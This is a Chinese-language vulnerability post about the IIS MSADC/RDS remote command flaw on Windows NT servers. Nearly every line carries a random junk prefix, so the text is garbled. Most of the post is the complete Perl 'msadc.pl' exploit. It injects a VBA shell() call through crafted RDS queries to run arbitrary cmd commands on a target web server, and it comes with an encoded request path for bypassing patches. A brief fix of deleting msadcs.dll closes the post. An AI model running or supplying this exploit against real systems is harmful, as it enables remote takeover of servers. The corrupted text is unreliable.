IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
?YDMl NR- <2
e3 涉及程序：
KoWG:~>| Microsoft NT server
2R^Eea 2+p XtP@O 描述：
w>}n1N c$G 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
) ]<^*b> hJw]hVYa 详细：
eb6y-TwY 如果你没有时间读详细内容的话，就删除:
{ot6ssT=D c:\Program Files\Common Files\System\Msadc\msadcs.dll
=<zlg~i 有关的安全问题就没有了。
AMO{ee7Po L|1~'Fz#w 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
g:U
-kK!i yS[ HYq 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Ij XxH]2 关于利用ODBC远程漏洞的描述，请参看:
qSD3]Dv" B<$6Dj%L http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -%K}~4J 5Z"N2D)." 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Y% @; \ http://www.microsoft.com/security/bulletins/MS99-025faq.asp L `=*Pwcj B Qeg-M 这里不再论述。
T!pZj_ h= "A5z!6T{ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
L'"c;FF02i x&m(h1h /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
#e[r0f?U 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
,9 ew75Jl r(_Fr#Qn * k Ub[ #将下面这段保存为txt文件，然后: "perl -x 文件名"
/OMgj7olD e eyZ $n #!perl
A{T> Aac #
E8<,j})* # MSADC/RDS 'usage' (aka exploit) script
-Ekf T_ #
*"6A>:rQs # by rain.forest.puppy
=4&"fZ"v #
kE!k y\E # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
+%~me? # beta test and find errors!
se} $/Y}t #SjCKQ~ use Socket; use Getopt::Std;
De>,i%`Q,D getopts("e:vd:h:XR", \%args);
"GJ.`Hj YB^m!A),I[ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6l kCLH "-AFWW Ktx if (!defined $args{h} && !defined $args{R}) {
1|>bG#| print qq~
Y`6<:8[? Usage: msadc.pl -h <host> { -d <delay> -X -v }
Gc5mR9pV -h <host> = host you want to scan (ip or domain)
g?Rq .py]! -d <seconds> = delay between calls, default 1 second
YhooD,[. -X = dump Index Server path table, if available
p1&=D%/ -v = verbose
/Bk`3~]E> -e = external dictionary file for step 5
{ ~(XO@;b -rHqU| Or a -R will resume a command session
,:V[H8 ? 1:./f |m ~; exit;}
I?%#`Rvu iU=:YPE+ . $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[; '$y:L=g if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
!ZCxi
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
bX5/xf$q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-7J~^m2x $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Eq=JmO'gHs if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Bi "cWO e ^`La*n if (!defined $args{R}){ $ret = &has_msadc;
8 vfC die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
<$#^)]Ts o4LVG print "Please type the NT commandline you want to run (cmd /c assumed):\n"
C8 }=fa3u . "cmd /c ";
Y;d qrA>@ $in=<STDIN>; chomp $in;
]~ S
zb $command="cmd /c " . $in ;
nf:wJ-;* rg]z if (defined $args{R}) {&load; exit;}
!.4q{YWcYk J @IKXhb7_ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-b ?s\X &try_btcustmr;
hQ v I} V{\1qg{ print "\nStep 2: Trying to make our own DSN...";
NpbZt;%t &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
fl4'dv R4zOiBi'B print "\nStep 3: Trying known DSNs...";
`}a-prT<f &known_dsn;
u%OLXb gh `_{l
print "\nStep 4: Trying known .mdbs...";
ofgNL .u &known_mdb;
Y
7?q ` \`-xxhb?e if (defined $args{e}){
;rnhv:Iw print "\nStep 5: Trying dictionary of DSN names...";
b'ir$RL] c &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
3u
s^\w# N%=,S?b print "Sorry Charley...maybe next time?\n";
>{Xyl): exit;
d*@K5?O. F+W{R+6 ##############################################################################
CE|
*&G ^.*zBrFx sub sendraw { # ripped and modded from whisker
8hSw4S "$ sleep($delay); # it's a DoS on the server! At least on mine...
xsvJjs;= my ($pstr)=@_;
V,?])=Ax socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
DV*e.Y> die("Socket problems\n");
y`7b3*P if(connect(S,pack "SnA4x8",2,80,$target)){
:01 B)~^ select(S); $|=1;
@Yw42`> !s print $pstr; my @in=<S>;
8zjJsh E/ select(STDOUT); close(S);
_5 OxESE return @in;
bJ eF1LjS } else { die("Can't connect...\n"); }}
R(f %*S4 ndk~(ex|j ##############################################################################
1] .m4vC 3S%/>)k sub make_header { # make the HTTP request
k?
,/om1 my $msadc=<<EOT
M `) 3(|4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
EQ"+G[ j~x User-Agent: ACTIVEDATA
Z8f?uF Host: $ip
20:![/7:! Content-Length: $clen
r*FAUb`bG Connection: Keep-Alive
'
wp _U / e YiqT Wn: ADCClientVersion:01.06
SI=7$8T5=5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
gT d r 3wPUP+)c7 --!ADM!ROX!YOUR!WORLD!
>3I|5kZ6 Content-Type: application/x-varg
^t `0ul]c Content-Length: $reqlen
1>umf~%Wa :1 v.Jk EOT
y3P4]sq ; $msadc=~s/\n/\r\n/g;
mKUm*m#< R return $msadc;}
jm'^>p,9G -"x@ V7X ##############################################################################
\J-D@b; _Y)Wi[ sub make_req { # make the RDS request
~h3~<p#M` my ($switch, $p1, $p2)=@_;
DIkf#} my $req=""; my $t1, $t2, $query, $dsn;
xE*. ,:,& *{O[} if ($switch==1){ # this is the btcustmr.mdb query
xgvwH?< $query="Select * from Customers where City=" . make_shell();
U@53VmrOy $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Sj v iH $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
e `K{ +{%)}?F elsif ($switch==2){ # this is general make table query
yMpZ-b$*~ $query="create table AZZ (B int, C varchar(10))";
\86NV="U $dsn="$p1";}
|:L}/onK O]oH}#5b elsif ($switch==3){ # this is general exploit table query
N]F}Z#h $query="select * from AZZ where C=" . make_shell();
EQ>@K-R $dsn="$p1";}
+.-mqtM ]UGk"s5A elsif ($switch==4){ # attempt to hork file info from index server
x X.{(er $query="select path from scope()";
s'BlFB n $dsn="Provider=MSIDXS;";}
, hp8b$ K.b :ae^k elsif ($switch==5){ # bad query
j?\z5i""f $query="select";
N C
sem $dsn="$p1";}
#1WCSLvtV Q9&H/]"v $t1= make_unicode($query);
fGWXUJ $t2= make_unicode($dsn);
vX&W;& $req = "\x02\x00\x03\x00";
/*t H$\6* $req.= "\x08\x00" . pack ("S1", length($t1));
8/lgM'Eux $req.= "\x00\x00" . $t1 ;
{/qQ=$t $req.= "\x08\x00" . pack ("S1", length($t2));
O .jCDAP $req.= "\x00\x00" . $t2 ;
a.a
,_ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;R$2+9 return $req;}
! %N@>[ wVc ^ l ##############################################################################
y<c7 RK] 3`Xzp sub make_shell { # this makes the shell() statement
aYc^ 9*7 return "'|shell(\"$command\")|'";}
!.49 9H3 ~_ wSB[z ##############################################################################
B#3Q 4c$ HumL( S'm sub make_unicode { # quick little function to convert to unicode
FB
%-$ my ($in)=@_; my $out;
FbXur- et^ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
%8xK BL]J return $out;}
,E"n 7*6mr Tl1H2s=G- ##############################################################################
S F da?> v4XEp
sub rdo_success { # checks for RDO return success (this is kludge)
ClNuO my (@in) = @_; my $base=content_start(@in);
D2RvFlAXu if($in[$base]=~/multipart\/mixed/){
\m=k~Cf:f return 1 if( $in[$base+10]=~/^\x09\x00/ );}
E;An':j return 0;}
U/_hH*N"! xtK\-[n ##############################################################################
` }B,w-,io NCgKWyRR sub make_dsn { # this makes a DSN for us
,;f5OUl?[ my @drives=("c","d","e","f");
F^5\w-gLY print "\nMaking DSN: ";
hS&.-5v foreach $drive (@drives) {
2UxmKp[ print "$drive: ";
#5iy^?N"w my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
lNT bd"}$: "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
5qFHy[I A . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
ZH~Wn#Wp $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{BgJ=0g? return 0 if $2 eq "404"; # not found/doesn't exist
#aiI]' if($2 eq "200") {
X8wtdd]64 foreach $line (@results) {
KN>h*eze return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
_hMFmI=r[ } return 0;}
} y vH)q I+31:#d ##############################################################################
7m}fVL k " ]OROJGa sub verify_exists {
,sT5TS
q my ($page)=@_;
Y~?Z'uR my @results=sendraw("GET $page HTTP/1.0\n\n");
<kWkc|z BY return $results[0];}
"=V!-+*@G@ U2v;GIo$yU ##############################################################################
<(H<*Xf9 0%)T]SDS sub try_btcustmr {
A4rkwM my @drives=("c","d","e","f");
u'T-}95 V my @dirs=("winnt","winnt35","winnt351","win","windows");
gdq6jz ?Cx=!k. foreach $dir (@dirs) {
M+b?qw print "$dir -> "; # fun status so you can see progress
\[]?9 Z=n foreach $drive (@drives) {
G, <l}(tEG print "$drive: "; # ditto
Z*-a=u%gl' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
T6."j_ $reqlenlen=length( "$reqlen" );
#T@k(Bz{L $clen= 206 + $reqlenlen + $reqlen;
2\;/mQI 2A H JP~
lg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
|dDKO if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Ey=}bBx else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
X~SNkM JpxQS~VX ##############################################################################
GRaU]Z]ck g's !\kr sub odbc_error {
]wi0qc2 { my (@in)=@_; my $base;
4Z5;y[k( my $base = content_start(@in);
5"X@<;H% if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
%0Qq~J@Lu $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e1%kW1Z9 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%?Q&a ] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^Ai QNL} return $in[$base+4].$in[$base+5].$in[$base+6];}
6ud<U#\b& print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
>0uj\5h)I] print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{s@ 0<! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
5:C>:pA V >s 1?rC ##############################################################################
`5rfO6 ; [HL>L p&A? sub verbose {
ZOpKi:\ my ($in)=@_;
$?dQ^]<, return if !$verbose;
sZ;Gb^{Z print STDOUT "\n$in\n";}
1'F! C @^o7UzS4z ##############################################################################
M|zTs\1I !
h92dH sub save {
Od:-fw my ($p1, $p2, $p3, $p4)=@_;
^P*-bV4 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
o\; hF3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
U<E]c 4* close OUT;}
d={o|Mf YBR)S _C$_ ##############################################################################
f1;@a>X
OiS\tK?|GV sub load {
pjs4FZ`Pd; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
0s\ -iub=d open(IN,"<rds.save") || die("Couldn't open rds.save\n");
X8-x$07) @p=<IN>; close(IN);
c{KJNH%7 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
s|`wi} "x $target= inet_aton($ip) || die("inet_aton problems");
6>
z{xYat print "Resuming to $ip ...";
V R\}*@pNp $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
M"bG(a(6: if($p[1]==1) {
e`q*'u1? $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vU]n0)<K B $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
@LSh=o+ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
u[oV
Jvc if (rdo_success(@results)){print "Success!\n";}
#dD0vYT&od else { print "failed\n"; verbose(odbc_error(@results));}}
~*9Ue@ elsif ($p[1]==3){
hJD3G
|E if(run_query("$p[3]")){
P} qpy\/(4 print "Success!\n";} else { print "failed\n"; }}
_: WNk( elsif ($p[1]==4){
x+;y0`oL if(run_query($drvst . "$p[3]")){
scYqU7$%T print "Success!\n"; } else { print "failed\n"; }}
6:6A" A exit;}
YDj5+'y 08D:2 z1z ##############################################################################
FSAX , Y C "%B >e sub create_table {
os &FrtDg my ($in)=@_;
vxLr 034 $reqlen=length( make_req(2,$in,"") ) - 28;
[HUK
9hG $reqlenlen=length( "$reqlen" );
%u_dxp x $clen= 206 + $reqlenlen + $reqlen;
.N@+M s3 my @results=sendraw(make_header() . make_req(2,$in,""));
/y 6f ~F return 1 if rdo_success(@results);
3,X8 5`v^ my $temp= odbc_error(@results); verbose($temp);
CC;^J-h/ return 1 if $temp=~/Table 'AZZ' already exists/;
/wl] kGF return 0;}
U_ j[<.aN) !pk IaCxs ##############################################################################
I|qhj* _C z
Tz_"N I sub known_dsn {
^FkB/j # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
~P"Agpx3u my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
RA;/ ?l "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
-sZb+2tDa "banner", "banners", "ads", "ADCDemo", "ADCTest");
G%AO%II EWgJ"WTF foreach $dSn (@dsns) {
A~lc`m- print ".";
HtiIg a 7 next if (!is_access("DSN=$dSn"));
&/ED.K if(create_table("DSN=$dSn")){
Xo] 2iQy print "$dSn successful\n";
+^&i(7a[? if(run_query("DSN=$dSn")){
s=F[.X9lp print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Zq<j}vVJ print "Something's borked. Use verbose next time\n";}}} print "\n";}
0a^bAEP |WEl5 bNc3 ##############################################################################
wfpl]d! &5 ${k' sub is_access {
XWQ `]m) my ($in)=@_;
lX)AbK]nb $reqlen=length( make_req(5,$in,"") ) - 28;
0I<L<^s3^U $reqlenlen=length( "$reqlen" );
0t}v@-abU $clen= 206 + $reqlenlen + $reqlen;
,+4T7 U R my @results=sendraw(make_header() . make_req(5,$in,""));
O9/)_:Wdh my $temp= odbc_error(@results);
(V\N1T,f verbose($temp); return 1 if ($temp=~/Microsoft Access/);
U s!ZQ#pP return 0;}
L jTSu9I> >u(^v@Ejf ##############################################################################
}^$1<GT eq(h {*rC sub run_query {
WFFQxd|Z my ($in)=@_;
s%`l>#H $reqlen=length( make_req(3,$in,"") ) - 28;
iLN UydiS $reqlenlen=length( "$reqlen" );
.UQ|k,,t $clen= 206 + $reqlenlen + $reqlen;
H!u8+ my @results=sendraw(make_header() . make_req(3,$in,""));
bv '>4a return 1 if rdo_success(@results);
unew
XHA my $temp= odbc_error(@results); verbose($temp);
~;H,cPvrEg return 0;}
US(RWXyg eOF *|9 ##############################################################################
X&LJ" ahK f!R7v|j P sub known_mdb {
<!XunXh my @drives=("c","d","e","f","g");
K sE$^ ` my @dirs=("winnt","winnt35","winnt351","win","windows");
v
@0G^z| my $dir, $drive, $mdb;
fpf,gb8[$n my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
njg0MZBqA ;CF:cH* # this is sparse, because I don't know of many
,>7dIJ qzw my @sysmdbs=( "\\catroot\\icatalog.mdb",
+~aIT=i3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
d=%NFCIV "\\system32\\certmdb.mdb",
Fpn*]x "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Qkx*T9W UhL1Y
NF_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
[f6BA|
"\\cfusion\\cfapps\\forums\\forums_.mdb",
N\B&|;-V "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h
~yTkN] "\\cfusion\\cfapps\\security\\realm_.mdb",
#)xlBq4cZ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
8 tQL$CbO "\\cfusion\\database\\cfexamples.mdb",
d;0]xG?%= "\\cfusion\\database\\cfsnippets.mdb",
`N.:3]B
t "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
x[0hY0 ?[M "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
#&?ER]|3 "\\cfusion\\brighttiger\\database\\cleam.mdb",
tlUh8os "\\cfusion\\database\\smpolicy.mdb",
7<MEM NYX "\\cfusion\\database\cypress.mdb",
d 94k "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
I[ \7Bf "\\website\\cgi-win\\dbsample.mdb",
nb=mY&q}~ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
|C z7_Rn "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
)1M2}11uS ); #these are just
,3 T"fT-( foreach $drive (@drives) {
Uoe; =P@ foreach $dir (@dirs){
P658
XKE foreach $mdb (@sysmdbs) {
-sKtT 9o print ".";
*n J,|T if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
7`t"fS print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
>| ,`E
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
_v 0iH print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
E] /2 u3p } else { print "Something's borked. Use verbose next time\n"; }}}}}
.x,y[/[[) OzrIiahz/ foreach $drive (@drives) {
u%z'.#r; a foreach $mdb (@mdbs) {
(XmmbAbVom print ".";
b/
\EN) if(create_table($drv . $drive . $dir . $mdb)){
0 {z8pNrc print "\n" . $drive . $dir . $mdb . " successful\n";
QJ( %rvn3 if(run_query($drv . $drive . $dir . $mdb)){
=LV-n print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
U!r8}@ } else { print "Something's borked. Use verbose next time\n"; }}}}
XK3O,XM }
^O@eyP B!x#|vGXL ##############################################################################
l+P! I{n ZwLr>?0$
p sub hork_idx {
?rQ .nN print "\nAttempting to dump Index Server tables...\n";
tB~#;:g print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
} aE' $reqlen=length( make_req(4,"","") ) - 28;
x O>z
)3A $reqlenlen=length( "$reqlen" );
%|}*xMQ $clen= 206 + $reqlenlen + $reqlen;
'#3FEo my @results=sendraw2(make_header() . make_req(4,"",""));
qna!j|90Lp if (rdo_success(@results)){
)M+po-6$1 my $max=@results; my $c; my %d;
{!wW,3|Pu for($c=19; $c<$max; $c++){
HYGd
:SeH $results[$c]=~s/\x00//g;
p :y\{ k" $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
=O0A(ca"g $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
Q R"+fzOL $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
9G
SpDc $d{"$1$2"}="";}
3\j`g foreach $c (keys %d){ print "$c\n"; }
4Xa] yA = } else {print "Index server doesn't seem to be installed.\n"; }}
:FS5 BT$= ?<3 d
Fb ##############################################################################
Q%d%Io \-t "Ux(nt sub dsn_dict {
YAT@xZs- open(IN, "<$args{e}") || die("Can't open external dictionary\n");
n5UUoBv while(<IN>){
/fb}]e]N $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
mJ<`/p?: next if (!is_access("DSN=$dSn"));
P:.jb!ZU if(create_table("DSN=$dSn")){
Y a\:C] print "$dSn successful\n";
dGO FSH if(run_query("DSN=$dSn")){
tmS2%1o print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
( `bb1gz print "Something's borked. Use verbose next time\n";}}}
$%DoLpE> print "\n"; close(IN);}
N ~=PecQ 0*5Jq#5 ##############################################################################
"o`?-bQ: iQ:eR]7X sub sendraw2 { # ripped and modded from whisker
%?].(
Lc sleep($delay); # it's a DoS on the server! At least on mine...
%M1l[\N my ($pstr)=@_;
P7=`P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
(["kbPma die("Socket problems\n");
pu/5#[MC)^ if(connect(S,pack "SnA4x8",2,80,$target)){
;.sYE/ZVi print "Connected. Getting data";
^_@[1'^ open(OUT,">raw.out"); my @in;
~8nR3ki select(S); $|=1; print $pstr;
EIQ3vOq6 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
fiWN^sTM close(OUT); select(STDOUT); close(S); return @in;
vi^ YtA } else { die("Can't connect...\n"); }}
8e>B>'nH jXf@JxQ ##############################################################################
5?` 4qSU z V?
tH/P sub content_start { # this will take in the server headers
LJ@(jO{z my (@in)=@_; my $c;
+`Q]p " G for ($c=1;$c<500;$c++) {
"Tser*i ) if($in[$c] =~/^\x0d\x0a/){
2@Yu: |d4U if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
vb>F)po1} else { return $c+1; }}}
sS
?A<D return -1;} # it should never get here actually
Yl&[ _
l d"?"(Q_8 n ##############################################################################
m85Z cyW1T O-V] I0 sub funky {
Yh1nXkA!V my (@in)=@_; my $error=odbc_error(@in);
U"8Hw@ if($error=~/ADO could not find the specified provider/){
S`5bcxI_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
h.#:7d(g exit;}
8Snv, Lb`^ if($error=~/A Handler is required/){
0 `7y Pq* print "\nServer has custom handler filters (they most likely are patched)\n";
AA^K /y exit;}
9;6)b 0=$ if($error=~/specified Handler has denied Access/){
0M;El2
P$ print "\nServer has custom handler filters (they most likely are patched)\n";
QnS^ G{ exit;}}
._tEDY/1m ;30 3fS ##############################################################################
zo@vuB. vv,<#4d sub has_msadc {
QAxy ?m,' my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%XukiA+ my $base=content_start(@results);
}(u:K}8 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
PRiE2Di2S return 0;}
kZ@UQ {>` wg0 _J<y] ########################
4_V gJ9@ 5&p}^hS5 `=h CS0F 解决方案：
!c)F; 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
b`+yNf 2、移除web 目录: /msadc
